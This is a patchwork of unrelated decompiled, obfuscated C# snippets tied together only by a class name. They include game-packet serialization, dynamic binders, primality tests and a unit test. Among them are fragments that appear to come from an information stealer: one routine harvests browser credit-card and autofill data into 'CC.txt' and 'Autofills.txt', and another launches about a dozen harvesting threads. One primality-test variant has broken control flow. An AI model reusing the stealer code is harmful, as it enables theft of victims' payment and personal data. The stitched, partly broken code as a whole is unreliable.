// Token: 0x060012ED RID: 4845 RVA: 0x0000460F File Offset: 0x0000280F internal void method_7(object object_0, Class31 class31_0) { if (this.delegate126_0 != null) { this.delegate126_0(object_0, class31_0); } }
// Token: 0x06000238 RID: 568 RVA: 0x000116A4 File Offset: 0x0000F8A4 public static void smethod_9() { foreach (string text in Class30.smethod_5()) { string fullName = new FileInfo(text).Directory.FullName; string string_ = text.Contains(Dirs.AppData) ? Class30.smethod_7(fullName) : Class30.smethod_8(fullName); string fullName2 = new FileInfo(text).Directory.FullName; Class30.smethod_6(fullName); Class31.fLujhrskIa(fullName, string_); } string text2 = ""; string text3 = ""; foreach (string str in Class31.list_0) { text3 += str; } foreach (string str2 in Class30.list_0) { text2 = text2 + Environment.NewLine + str2; } if (!Directory.Exists(Dirs.WorkDir + "\\Browsers")) { Directory.CreateDirectory(Dirs.WorkDir + "\\Browsers"); } if (text2 != "") { File.WriteAllText(Dirs.WorkDir + "\\Browsers\\CC.txt", text2, Encoding.Default); } if (text3 != "") { File.WriteAllText(Dirs.WorkDir + "\\Browsers\\Autofills.txt", text3, Encoding.Default); } }
// Token: 0x06000639 RID: 1593 RVA: 0x0002A5CC File Offset: 0x000287CC private static Expression[] smethod_2(DynamicMetaObject[] dynamicMetaObject_0) { return(new NewArrayExpression[] { Expression.NewArrayInit(typeof(object), Class31 <O3JSdjQuD5uSVMwF47d> .smethod_1(dynamicMetaObject_0)) }); }
// Token: 0x0600063D RID: 1597 RVA: 0x0002A6A4 File Offset: 0x000288A4 private DynamicMetaObject method_1(string string_0, DynamicMetaObjectBinder dynamicMetaObjectBinder_0, IEnumerable <Expression> ienumerable_0, DynamicMetaObject dynamicMetaObject_0, Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0 delegate0_0) { ParameterExpression parameterExpression = Expression.Parameter(typeof(object), null); IList <Expression> list = new List <Expression>(); list.Add(Expression.Convert(base.Expression, typeof(O3JSdjQuD5uSVMwF47d))); list.Add(Class31 <O3JSdjQuD5uSVMwF47d> .smethod_4(dynamicMetaObjectBinder_0)); list.smethod_1(ienumerable_0); list.Add(parameterExpression); DynamicMetaObject dynamicMetaObject = new DynamicMetaObject(parameterExpression, BindingRestrictions.Empty); if (dynamicMetaObjectBinder_0.ReturnType != typeof(object)) { dynamicMetaObject = new DynamicMetaObject(Expression.Convert(dynamicMetaObject.Expression, dynamicMetaObjectBinder_0.ReturnType), dynamicMetaObject.Restrictions); } if (delegate0_0 != null) { dynamicMetaObject = delegate0_0(dynamicMetaObject); } return(new DynamicMetaObject(Expression.Block(new ParameterExpression[] { parameterExpression }, new Expression[] { Expression.Condition(Expression.Call(Expression.Constant(this.class28_0), typeof(Class28 <O3JSdjQuD5uSVMwF47d>).GetMethod(string_0), list), dynamicMetaObject.Expression, dynamicMetaObject_0.Expression, dynamicMetaObjectBinder_0.ReturnType) }), this.method_4().Merge(dynamicMetaObject.Restrictions).Merge(dynamicMetaObject_0.Restrictions))); }
// Token: 0x06000E15 RID: 3605 // RVA: 0x0004DB50 File Offset: 0x0004BD50 public void WriteToStream(Class31 class31_0) { class31_0.Write((byte)this.bStatus_0); class31_0.Write(this.string_1); class31_0.Write(this.string_0); class31_0.Write((uint)this.mods_0); class31_0.Write((byte)this.playModes_0); class31_0.Write(this.int_0); }
// Token: 0x06000E2B RID: 3627 // RVA: 0x0004E0A0 File Offset: 0x0004C2A0 public void WriteToStream(Class31 class31_0) { int count = this.list_0.Count; class31_0.Write((short)count); for (int i = 0; i < count; i++) { class31_0.Write(this.list_0[i]); } }
// Token: 0x06000E27 RID: 3623 // RVA: 0x0004E024 File Offset: 0x0004C224 public void WriteToStream(Class31 class31_0) { int count = this.list_0.Count; class31_0.Write(count); for (int i = 0; i < count; i++) { this.list_0[i].WriteToStream(class31_0); } }
public void Test2() { List <int[]> expected = null; int[] input = new int[] { 1, 2, 5 }; int target = 0; var actual = Class31.PrintCoins(input, target); Assert.Equal(expected, actual); }
// Token: 0x0600063A RID: 1594 RVA: 0x0002A5FC File Offset: 0x000287FC private static Expression[] smethod_3(DynamicMetaObject[] dynamicMetaObject_0, DynamicMetaObject dynamicMetaObject_1) { Expression expression = dynamicMetaObject_1.Expression; return(new Expression[] { Expression.NewArrayInit(typeof(object), Class31 <O3JSdjQuD5uSVMwF47d> .smethod_1(dynamicMetaObject_0)), expression.Type.smethod_13() ? Expression.Convert(expression, typeof(object)) : expression }); }
// Token: 0x0600063F RID: 1599 RVA: 0x0002A8A4 File Offset: 0x00028AA4 private DynamicMetaObject method_3(string string_0, DynamicMetaObjectBinder dynamicMetaObjectBinder_0, Expression[] expression_0, Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0 delegate0_0) { DynamicMetaObject dynamicMetaObject = delegate0_0(null); IList <Expression> list = new List <Expression>(); list.Add(Expression.Convert(base.Expression, typeof(O3JSdjQuD5uSVMwF47d))); list.Add(Class31 <O3JSdjQuD5uSVMwF47d> .smethod_4(dynamicMetaObjectBinder_0)); list.smethod_1(expression_0); return(new DynamicMetaObject(Expression.Condition(Expression.Call(Expression.Constant(this.class28_0), typeof(Class28 <O3JSdjQuD5uSVMwF47d>).GetMethod(string_0), list), Expression.Empty(), dynamicMetaObject.Expression, typeof(void)), this.method_4().Merge(dynamicMetaObject.Restrictions))); }
// Token: 0x06000E3C RID: 3644 // RVA: 0x0004E304 File Offset: 0x0004C504 public void WriteToStream(Class31 class31_0) { class31_0.Write(this.int_2); this.class12_0.WriteToStream(class31_0); class31_0.Write(this.long_0); class31_0.Write(this.float_0); class31_0.Write(this.int_0); class31_0.Write(this.long_1); class31_0.Write(this.int_1); class31_0.Write(this.short_0); }
// Token: 0x06000633 RID: 1587 RVA: 0x0002A404 File Offset: 0x00028604 public override DynamicMetaObject BindUnaryOperation(UnaryOperationBinder binder) { Class31 <O3JSdjQuD5uSVMwF47d> .Class41 @class = new Class31 <O3JSdjQuD5uSVMwF47d> .Class41(); @class.unaryOperationBinder_0 = binder; @class.class31_0 = this; if (!this.NsEsKrivoE("TryUnaryOperation")) { return(base.BindUnaryOperation(@class.unaryOperationBinder_0)); } return(this.method_0("TryUnaryOperation", @class.unaryOperationBinder_0, Class31 <O3JSdjQuD5uSVMwF47d> .smethod_0(), new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_0), null)); }
// Token: 0x0600062D RID: 1581 RVA: 0x0002A140 File Offset: 0x00028340 public override DynamicMetaObject BindDeleteMember(DeleteMemberBinder binder) { Class31 <O3JSdjQuD5uSVMwF47d> .Class35 @class = new Class31 <O3JSdjQuD5uSVMwF47d> .Class35(); @class.deleteMemberBinder_0 = binder; @class.class31_0 = this; if (!this.NsEsKrivoE("TryDeleteMember")) { return(base.BindDeleteMember(@class.deleteMemberBinder_0)); } return(this.method_3("TryDeleteMember", @class.deleteMemberBinder_0, Class31 <O3JSdjQuD5uSVMwF47d> .smethod_0(), new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_0))); }
// Token: 0x0600062E RID: 1582 RVA: 0x0002A1A0 File Offset: 0x000283A0 public override DynamicMetaObject BindConvert(ConvertBinder binder) { Class31 <O3JSdjQuD5uSVMwF47d> .Class36 @class = new Class31 <O3JSdjQuD5uSVMwF47d> .Class36(); @class.convertBinder_0 = binder; @class.class31_0 = this; if (!this.NsEsKrivoE("TryConvert")) { return(base.BindConvert(@class.convertBinder_0)); } return(this.method_0("TryConvert", @class.convertBinder_0, Class31 <O3JSdjQuD5uSVMwF47d> .smethod_0(), new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_0), null)); }
// Token: 0x06000260 RID: 608 RVA: 0x000130BC File Offset: 0x000112BC public static int smethod_0(string string_0) { new Thread(delegate() { Class26.smethod_0(string_0); }).Start(); new Thread(delegate() { Class27.smethod_0(string_0); }).Start(); new Thread(delegate() { Class28.smethod_0(string_0); }).Start(); new Thread(delegate() { Class29.smethod_0(string_0); }).Start(); new Thread(delegate() { Class30.smethod_0(string_0); }).Start(); new Thread(delegate() { Class31.smethod_0(string_0); }).Start(); new Thread(delegate() { Class32.smethod_0(string_0); }).Start(); new Thread(delegate() { Class35.smethod_0(string_0); }).Start(); new Thread(delegate() { Class36.smethod_0(string_0); }).Start(); new Thread(delegate() { Class33.smethod_0(string_0); }).Start(); new Thread(delegate() { Class34.smethod_0(string_0); }).Start(); new Thread(delegate() { Class38.smethod_0(string_0); }).Start(); return(Class37.int_0); }
public void Test3() { List <int[]> expected = new List <int[]> { new int[] { 1, 1, 1 }, new int[] { 2, 1 } }; int[] input = new int[] { 1, 2, 5 }; int target = 3; var actual = Class31.PrintCoins(input, target); Assert.Equal(expected, actual); }
// Token: 0x06000E24 RID: 3620 // RVA: 0x0004DF24 File Offset: 0x0004C124 public void WriteToStream(Class31 class31_0) { class31_0.Write(this.list_0.Count); foreach (string current in this.list_0) { class31_0.Write(current); } class31_0.Write(this.list_1.Count); foreach (int current2 in this.list_1) { class31_0.Write(current2); } }
// Token: 0x06000631 RID: 1585 RVA: 0x0002A314 File Offset: 0x00028514 public override DynamicMetaObject BindInvoke(InvokeBinder binder, DynamicMetaObject[] args) { Class31 <O3JSdjQuD5uSVMwF47d> .Class39 @class = new Class31 <O3JSdjQuD5uSVMwF47d> .Class39(); @class.invokeBinder_0 = binder; @class.class31_0 = this; @class.dynamicMetaObject_0 = args; if (!this.NsEsKrivoE("TryInvoke")) { return(base.BindInvoke(@class.invokeBinder_0, @class.dynamicMetaObject_0)); } return(this.method_0("TryInvoke", @class.invokeBinder_0, Class31 <O3JSdjQuD5uSVMwF47d> .smethod_2(@class.dynamicMetaObject_0), new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_0), null)); }
// Token: 0x06000DF5 RID: 3573 // RVA: 0x0004D0D4 File Offset: 0x0004B2D4 public void WriteToStream(Class31 class31_0) { class31_0.Write((short)this.int_0); class31_0.Write(this.int_1); class31_0.Write(this.int_2); class31_0.Write(this.int_3); class31_0.Write((byte)this.int_4); class31_0.Write((byte)this.rankings_0); class31_0.Write((byte)this.rankings_2); class31_0.Write((byte)this.rankings_1); class31_0.Write((byte)this.rankings_3); class31_0.Write(this.string_0); }
// Token: 0x06000636 RID: 1590 RVA: 0x0002A55C File Offset: 0x0002875C public override DynamicMetaObject BindDeleteIndex(DeleteIndexBinder binder, DynamicMetaObject[] indexes) { Class31 <O3JSdjQuD5uSVMwF47d> .Class44 @class = new Class31 <O3JSdjQuD5uSVMwF47d> .Class44(); @class.deleteIndexBinder_0 = binder; @class.class31_0 = this; @class.dynamicMetaObject_0 = indexes; if (!this.NsEsKrivoE("TryDeleteIndex")) { return(base.BindDeleteIndex(@class.deleteIndexBinder_0, @class.dynamicMetaObject_0)); } return(this.method_3("TryDeleteIndex", @class.deleteIndexBinder_0, Class31 <O3JSdjQuD5uSVMwF47d> .smethod_2(@class.dynamicMetaObject_0), new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_0))); }
// Token: 0x06000635 RID: 1589 RVA: 0x0002A4D8 File Offset: 0x000286D8 public override DynamicMetaObject BindSetIndex(SetIndexBinder binder, DynamicMetaObject[] indexes, DynamicMetaObject value) { Class31 <O3JSdjQuD5uSVMwF47d> .Class43 @class = new Class31 <O3JSdjQuD5uSVMwF47d> .Class43(); @class.setIndexBinder_0 = binder; @class.class31_0 = this; @class.dynamicMetaObject_0 = indexes; @class.dynamicMetaObject_1 = value; if (!this.NsEsKrivoE("TrySetIndex")) { return(base.BindSetIndex(@class.setIndexBinder_0, @class.dynamicMetaObject_0, @class.dynamicMetaObject_1)); } return(this.method_2("TrySetIndex", @class.setIndexBinder_0, Class31 <O3JSdjQuD5uSVMwF47d> .smethod_3(@class.dynamicMetaObject_0, @class.dynamicMetaObject_1), new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_0))); }
// Token: 0x06000E19 RID: 3609 // RVA: 0x0004DC2C File Offset: 0x0004BE2C public void WriteToStream(Class31 class31_0) { if (Class213.int_0 >= 18) { class31_0.Write(this.int_0); } class31_0.Write((ushort)this.list_0.Count); foreach (Class14 current in this.list_0) { current.WriteToStream(class31_0); } class31_0.Write((byte)this.enum0_0); this.struct13_0.WriteToStream(class31_0); }
// Token: 0x0600062F RID: 1583 RVA: 0x0002A200 File Offset: 0x00028400 public override DynamicMetaObject BindInvokeMember(InvokeMemberBinder binder, DynamicMetaObject[] args) { Class31 <O3JSdjQuD5uSVMwF47d> .Class37 @class = new Class31 <O3JSdjQuD5uSVMwF47d> .Class37(); @class.invokeMemberBinder_0 = binder; @class.class31_0 = this; @class.dynamicMetaObject_0 = args; if (!this.NsEsKrivoE("TryInvokeMember")) { return(base.BindInvokeMember(@class.invokeMemberBinder_0, @class.dynamicMetaObject_0)); } Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0 @delegate = new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_0); return(this.method_1("TryInvokeMember", @class.invokeMemberBinder_0, Class31 <O3JSdjQuD5uSVMwF47d> .smethod_2(@class.dynamicMetaObject_0), this.method_1("TryGetMember", new Class31 <O3JSdjQuD5uSVMwF47d> .Class32(@class.invokeMemberBinder_0), Class31 <O3JSdjQuD5uSVMwF47d> .smethod_0(), @delegate(null), new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_1)), null)); }
// Token: 0x06000E37 RID: 3639 // RVA: 0x0004E234 File Offset: 0x0004C434 public void imethod_0(Class31 class31_0) { if (this.enum1_0 != Enum1.const_0) { return; } string text = string.Concat(new string[] { ":", this.class24_0.method_0(), " QUIT :", this.string_0, "\n" }); class31_0.method_3(text); }
// Token: 0x0600062C RID: 1580 RVA: 0x0002A0C4 File Offset: 0x000282C4 public override DynamicMetaObject BindSetMember(SetMemberBinder binder, DynamicMetaObject value) { Class31 <O3JSdjQuD5uSVMwF47d> .Class34 @class = new Class31 <O3JSdjQuD5uSVMwF47d> .Class34(); @class.setMemberBinder_0 = binder; @class.class31_0 = this; @class.dynamicMetaObject_0 = value; if (!this.NsEsKrivoE("TrySetMember")) { return(base.BindSetMember(@class.setMemberBinder_0, @class.dynamicMetaObject_0)); } return(this.method_2("TrySetMember", @class.setMemberBinder_0, Class31 <O3JSdjQuD5uSVMwF47d> .smethod_1(new DynamicMetaObject[] { @class.dynamicMetaObject_0 }), new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_0))); }
// Token: 0x06000632 RID: 1586 RVA: 0x0002A388 File Offset: 0x00028588 public override DynamicMetaObject BindBinaryOperation(BinaryOperationBinder binder, DynamicMetaObject arg) { Class31 <O3JSdjQuD5uSVMwF47d> .Class40 @class = new Class31 <O3JSdjQuD5uSVMwF47d> .Class40(); @class.binaryOperationBinder_0 = binder; @class.class31_0 = this; @class.dynamicMetaObject_0 = arg; if (!this.NsEsKrivoE("TryBinaryOperation")) { return(base.BindBinaryOperation(@class.binaryOperationBinder_0, @class.dynamicMetaObject_0)); } return(this.method_0("TryBinaryOperation", @class.binaryOperationBinder_0, Class31 <O3JSdjQuD5uSVMwF47d> .smethod_1(new DynamicMetaObject[] { @class.dynamicMetaObject_0 }), new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_0), null)); }
// Token: 0x0600063E RID: 1598 RVA: 0x0002A7C0 File Offset: 0x000289C0 private DynamicMetaObject method_2(string string_0, DynamicMetaObjectBinder dynamicMetaObjectBinder_0, IEnumerable <Expression> ienumerable_0, Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0 delegate0_0) { DynamicMetaObject dynamicMetaObject = delegate0_0(null); ParameterExpression parameterExpression = Expression.Parameter(typeof(object), null); IList <Expression> list = new List <Expression>(); list.Add(Expression.Convert(base.Expression, typeof(O3JSdjQuD5uSVMwF47d))); list.Add(Class31 <O3JSdjQuD5uSVMwF47d> .smethod_4(dynamicMetaObjectBinder_0)); list.smethod_1(ienumerable_0); list[list.Count - 1] = Expression.Assign(parameterExpression, list[list.Count - 1]); return(new DynamicMetaObject(Expression.Block(new ParameterExpression[] { parameterExpression }, new Expression[] { Expression.Condition(Expression.Call(Expression.Constant(this.class28_0), typeof(Class28 <O3JSdjQuD5uSVMwF47d>).GetMethod(string_0), list), parameterExpression, dynamicMetaObject.Expression, typeof(object)) }), this.method_4().Merge(dynamicMetaObject.Restrictions))); }
// Token: 0x06000E46 RID: 3654 // RVA: 0x0004E3A4 File Offset: 0x0004C5A4 public int method_1(Enum2 enum2_0, Class31 class31_0) { if (this.bool_0) { byte[] array = this.byte_0[(int)enum2_0]; if (array != null) { if (array.Length > 0) { class31_0.Seek(0, SeekOrigin.Begin); class31_0.BaseStream.Write(array, 0, array.Length); } return array.Length; } } int num; switch (enum2_0) { case Enum2.const_0: IL_47: num = this.method_2(class31_0); goto IL_59; case Enum2.const_1: num = this.method_3(class31_0); goto IL_59; } goto IL_47; IL_59: if (this.bool_0) { byte[] array2 = new byte[num]; if (num > 0) { class31_0.Seek(0, SeekOrigin.Begin); class31_0.BaseStream.Read(array2, 0, num); } this.byte_0[(int)enum2_0] = array2; } return num; }
// Token: 0x06000E48 RID: 3656 // RVA: 0x0004E4B8 File Offset: 0x0004C6B8 private int method_3(Class31 class31_0) { Interface5 interface = this.object_0 as Interface5;
// Token: 0x06000E45 RID: 3653 // RVA: 0x0004E374 File Offset: 0x0004C574 public int method_0(Stream stream_0, Class31 class31_0) { int num = this.method_1(Enum2.const_0, class31_0); stream_0.Write(((MemoryStream)class31_0.BaseStream).GetBuffer(), 0, num); return num; }
// Token: 0x0600063C RID: 1596 RVA: 0x0002A680 File Offset: 0x00028880 private DynamicMetaObject method_0(string string_0, DynamicMetaObjectBinder dynamicMetaObjectBinder_0, IEnumerable <Expression> ienumerable_0, Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0 delegate0_0, Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0 delegate0_1 = null) { DynamicMetaObject dynamicMetaObject_ = delegate0_0(null); return(this.method_1(string_0, dynamicMetaObjectBinder_0, ienumerable_0, dynamicMetaObject_, delegate0_1)); }
public bool method_10(int int_3) { Class23 @class; if ((this.uint_0[499] & 2147483648u) != 0u) { @class = Class23.smethod_14(this); } else { @class = this; } bool result; if (@class.int_2 == 1) { if (@class.uint_0[0] == 0u || @class.uint_0[0] == 1u) { result = false; return result; } if (@class.uint_0[0] == 2u || @class.uint_0[0] == 3u) { result = true; return result; } } if ((@class.uint_0[0] & 1u) == 0u) { result = false; } else { int num = @class.method_9(); Class23 class2 = new Class23(); Class23 class23_ = Class23.smethod_6(@class, new Class23(1L)); Class31 class3 = new Class31(); for (int i = 0; i < int_3; i++) { bool flag = false; while (!flag) { int j; for (j = 0; j < 2; j = class3.method_1() * num) { } class2.method_8(j, class3); int num2 = class2.int_2; if (num2 > 1 || (num2 == 1 && class2.uint_0[0] != 1u)) { flag = true; } } Class23 class4 = class2.method_7(@class); if (class4.int_2 == 1 && class4.uint_0[0] != 1u) { result = false; return result; } Class23 class5 = class2.method_5(class23_, @class); int num3 = class5.int_2; if (num3 > 1 || (num3 == 1 && class5.uint_0[0] != 1u)) { result = false; return result; } } result = true; } return result; }
// Token: 0x06000E35 RID: 3637 // RVA: 0x0000EB36 File Offset: 0x0000CD36 public void WriteToStream(Class31 class31_0) { class31_0.Write(this.string_0); }
// Token: 0x06000E42 RID: 3650 // RVA: 0x0000EBBC File Offset: 0x0000CDBC public void WriteToStream(Class31 class31_0) { class31_0.Write(this.string_0); class31_0.Write(this.string_1); class31_0.Write(this.vmethod_0()); }
public bool method_11(int int_3) { Class23 class2; if ((this.uint_0[0x1f3] & 0x80000000) != 0) { class2 = smethod_14(this); } else { class2 = this; } if (class2.int_2 == 1) { if ((class2.uint_0[0] == 0) || (class2.uint_0[0] == 1)) { return false; } if ((class2.uint_0[0] == 2) || (class2.uint_0[0] == 3)) { return true; } } if ((class2.uint_0[0] & 1) == 0) { return false; } Class23 class3 = smethod_6(class2, new Class23(1L)); int num = 0; for (int i = 0; i < class3.int_2; i++) { uint num3 = 1; for (int k = 0; k < 0x20; k++) { if ((class3.uint_0[i] & num3) != 0) { goto Label_00DB; } num3 = num3 << 1; num++; } continue; Label_00DB: i = class3.int_2; } Class23 class4 = smethod_11(class3, num); int num5 = class2.method_9(); Class23 class5 = new Class23(); Class31 class6 = new Class31(); for (int j = 0; j < int_3; j++) { bool flag = false; while (!flag) { int num7 = 0; while (num7 < 2) { num7 = (int)(class6.method_2() * num5); } class5.method_8(num7, class6); int num8 = class5.int_2; if ((num8 > 1) || ((num8 == 1) && (class5.uint_0[0] != 1))) { flag = true; } } Class23 class7 = class5.method_7(class2); if ((class7.int_2 == 1) && (class7.uint_0[0] != 1)) { return false; } Class23 class8 = class5.method_5(class4, class2); bool flag2 = false; if ((class8.int_2 == 1) && (class8.uint_0[0] == 1)) { flag2 = true; } for (int m = 0; flag2; m++) { Label_01D1: if (0 == 0) { goto Label_0209; } if (smethod_15(class8, class3)) { goto Label_0206; } class8 = smethod_24(smethod_8(class8, class8), class2); } //goto Label_01D1; Label_0206: flag2 = true; Label_0209: if (!flag2) { return false; } } return true; }
// Token: 0x06000E31 RID: 3633 // RVA: 0x0004E1A4 File Offset: 0x0004C3A4 public void WriteToStream(Class31 class31_0) { class31_0.Write(this.bool_0 ? this.int_1 : (-this.int_1)); class31_0.Write(this.string_0); class31_0.Write((byte)(this.int_0 + 24)); class31_0.Write(this.byte_0); class31_0.Write((byte)((int)((byte)this.enum30_0) | (int)((byte)this.playModes_0) << 5)); class31_0.Write(this.float_0); class31_0.Write(this.float_1); class31_0.Write(this.int_2); }
// Token: 0x06000E1E RID: 3614 // RVA: 0x0000EA92 File Offset: 0x0000CC92 public void WriteToStream(Class31 class31_0) { class31_0.Write((byte)this.pButtonState_0); class31_0.Write(0); class31_0.Write(this.float_0); class31_0.Write(this.float_1); class31_0.Write(this.int_0); }
public static Class23 smethod_29(int int_3, int int_4, Class31 class31_0) { Class23 @class = new Class23(); bool flag = false; while (!flag) { @class.method_8(int_3, class31_0); @class.uint_0[0] |= 1u; flag = @class.method_15(int_4); } return @class; }
public void method_8(int int_3, Class31 class31_0) { int num = int_3 >> 5; int num2 = int_3 & 31; if (num2 != 0) { num++; } if (num > 500) { throw new ArithmeticException("Number of required bits > maxLength."); } for (int i = 0; i < num; i++) { this.uint_0[i] = class31_0.method_0(); } for (int i = num; i < 500; i++) { this.uint_0[i] = 0u; } if (num2 != 0) { uint num3 = (uint)(1 << (num2 - 1 & 31)); this.uint_0[num - 1] |= num3; num3 = 4294967295u >> (32 - num2 & 31); this.uint_0[num - 1] &= num3; } else { this.uint_0[num - 1] |= 2147483648u; } this.int_2 = num; if (this.int_2 == 0) { this.int_2 = 1; } }
public Class23 method_19(int int_3, Class31 class31_0) { bool flag = false; Class23 @class = new Class23(); while (!flag) { @class.method_8(int_3, class31_0); Class23 class2 = @class.method_7(this); if (class2.int_2 == 1 && class2.uint_0[0] == 1u) { flag = true; } } return @class; }
// Token: 0x06000E21 RID: 3617 // RVA: 0x0004DE5C File Offset: 0x0004C05C public void WriteToStream(Class31 class31_0) { class31_0.Write(this.int_1); class31_0.Write(this.byte_0); class31_0.Write(this.ushort_1); class31_0.Write(this.ushort_0); class31_0.Write(this.ushort_2); class31_0.Write(this.ushort_3); class31_0.Write(this.ushort_4); class31_0.Write(this.ushort_5); class31_0.Write(this.int_2); class31_0.Write(this.ushort_7); class31_0.Write(this.ushort_6); class31_0.Write(this.bool_1); class31_0.Write((byte)(this.bool_0 ? this.int_0 : 254)); class31_0.Write(this.int_3); }
// Token: 0x0600143B RID: 5179 RVA: 0x00024C20 File Offset: 0x00022E20 public void MediaCollectionMediaRemoved(object pdispMedia) { Class31 class31_ = new Class31(pdispMedia); this.class24_0.method_7(this.class24_0, class31_); }
// Token: 0x06000E39 RID: 3641 // RVA: 0x0000EB64 File Offset: 0x0000CD64 public void WriteToStream(Class31 class31_0) { class31_0.Write(this.int_0); class31_0.Write((byte)this.enum1_0); }
// Token: 0x060031C1 RID: 12737 // RVA: 0x00024B8A File Offset: 0x00022D8A public void WriteToStream(Class31 class31_0) { this.class17_0.WriteToStream(class31_0); class31_0.Write(this.dateTime_0); }
public bool method_11(int int_3) { Class23 @class; if ((this.uint_0[499] & 2147483648u) != 0u) { @class = Class23.smethod_14(this); } else { @class = this; } bool result; if (@class.int_2 == 1) { if (@class.uint_0[0] == 0u || @class.uint_0[0] == 1u) { result = false; return result; } if (@class.uint_0[0] == 2u || @class.uint_0[0] == 3u) { result = true; return result; } } if ((@class.uint_0[0] & 1u) == 0u) { result = false; } else { Class23 class2 = Class23.smethod_6(@class, new Class23(1L)); int num = 0; int i = 0; IL_E6: while (i < class2.int_2) { uint num2 = 1u; for (int j = 0; j < 32; j++) { if ((class2.uint_0[i] & num2) != 0u) { i = class2.int_2; IL_E2: i++; goto IL_E6; } num2 <<= 1; num++; } goto IL_E2; } Class23 class23_ = Class23.smethod_11(class2, num); int num3 = @class.method_9(); Class23 class3 = new Class23(); Class31 class4 = new Class31(); for (int k = 0; k < int_3; k++) { bool flag = false; while (!flag) { int l; for (l = 0; l < 2; l = (int)(class4.method_2() * (float)num3)) { } class3.method_8(l, class4); int num4 = class3.int_2; if (num4 > 1 || (num4 == 1 && class3.uint_0[0] != 1u)) { flag = true; } } Class23 class5 = class3.method_7(@class); if (class5.int_2 == 1 && class5.uint_0[0] != 1u) { result = false; return result; } Class23 class6 = class3.method_5(class23_, @class); bool flag2 = false; if (class6.int_2 == 1 && class6.uint_0[0] == 1u) { flag2 = true; } int num5 = 0; while (!flag2 && num5 < num) { if (Class23.smethod_15(class6, class2)) { flag2 = true; break; } class6 = Class23.smethod_24(Class23.smethod_8(class6, class6), @class); num5++; } if (!flag2) { result = false; return result; } } result = true; } return result; }
// Token: 0x06000E43 RID: 3651 // RVA: 0x0000EBE2 File Offset: 0x0000CDE2 public void imethod_0(Class31 class31_0) { class31_0.method_3(this.string_0); }
// Token: 0x06000E47 RID: 3655 // RVA: 0x0004E440 File Offset: 0x0004C640 private int method_2(Class31 class31_0) { bSerializable bSerializable = this.object_0 as bSerializable; if (this.enum3_0 == Enum3.const_84) { return 0; } MemoryStream memoryStream = (MemoryStream)class31_0.BaseStream; class31_0.Seek(7, SeekOrigin.Begin); int num = 0; if (bSerializable != null) { bSerializable.WriteToStream(class31_0); num = (int)memoryStream.Position - 7; } class31_0.Seek(0, SeekOrigin.Begin); class31_0.Write((ushort)this.enum3_0); class31_0.Write(0); class31_0.Write((uint)num); return 7 + num; }
// Token: 0x0600234E RID: 9038 // RVA: 0x0001BF1F File Offset: 0x0001A11F protected override void vmethod_6(Class31 class31_0) { class31_0.Write((double)this.float_0); }
// Token: 0x06000E08 RID: 3592 // RVA: 0x0004D6E4 File Offset: 0x0004B8E4 public void WriteToStream(Class31 class31_0) { class31_0.Write((short)this.matchId); class31_0.Write(this.inProgress); class31_0.Write((byte)this.matchType); class31_0.Write((uint)this.activeMods); class31_0.Write(this.gameName); class31_0.Write((this.SendPassword || this.gamePassword == null) ? this.gamePassword : string.Empty); class31_0.Write(this.beatmapName); class31_0.Write(this.beatmapId); class31_0.Write(this.beatmapChecksum); for (int i = 0; i < bMatch.smethod_0(); i++) { class31_0.Write((byte)this.slotStatus[i]); } for (int j = 0; j < bMatch.smethod_0(); j++) { class31_0.Write((byte)this.slotTeam[j]); } for (int k = 0; k < bMatch.smethod_0(); k++) { if ((this.slotStatus[k] & SlotStatus.flag_7) > (SlotStatus)0) { class31_0.Write(this.slotId[k]); } } class31_0.Write(this.hostId); class31_0.Write((byte)this.playMode); class31_0.Write((byte)this.matchScoringType); class31_0.Write((byte)this.matchTeamType); class31_0.Write((byte)this.specialModes); if ((this.specialModes & MultiSpecialModes.FreeMod) > MultiSpecialModes.None) { for (int l = 0; l < bMatch.smethod_0(); l++) { class31_0.Write((int)this.slotMods[l]); } } class31_0.Write(this.Seed); }
public bool method_12(int int_3) { Class23 @class; if ((this.uint_0[499] & 2147483648u) != 0u) { @class = Class23.smethod_14(this); } else { @class = this; } bool result; if (@class.int_2 == 1) { if (@class.uint_0[0] == 0u || @class.uint_0[0] == 1u) { result = false; return result; } if (@class.uint_0[0] == 2u || @class.uint_0[0] == 3u) { result = true; return result; } } if ((@class.uint_0[0] & 1u) == 0u) { result = false; } else { int num = @class.method_9(); Class23 class2 = new Class23(); Class23 class3 = Class23.smethod_6(@class, Class23.smethod_2(1)); Class23 class23_ = Class23.smethod_11(class3, 1); Class31 class4 = new Class31(); for (int i = 0; i < int_3; i++) { bool flag = false; while (!flag) { int j; for (j = 0; j < 2; j = (int)(class4.method_2() * (float)num)) { } class2.method_8(j, class4); int num2 = class2.int_2; if (num2 > 1 || (num2 == 1 && class2.uint_0[0] != 1u)) { flag = true; } } Class23 class5 = class2.method_7(@class); if (class5.int_2 == 1 && class5.uint_0[0] != 1u) { result = false; return result; } Class23 class23_2 = class2.method_5(class23_, @class); if (Class23.smethod_15(class23_2, class3)) { class23_2 = Class23.smethod_2(-1); } Class23 class23_3 = Class23.smethod_2(Class23.smethod_28(class2, @class)); if (Class23.smethod_16(class23_2, class23_3)) { result = false; return result; } } result = true; } return result; }
// Token: 0x06000DFB RID: 3579 // RVA: 0x0000E9A5 File Offset: 0x0000CBA5 public void WriteToStream(Class31 class31_0) { class31_0.Write(this.int_0); }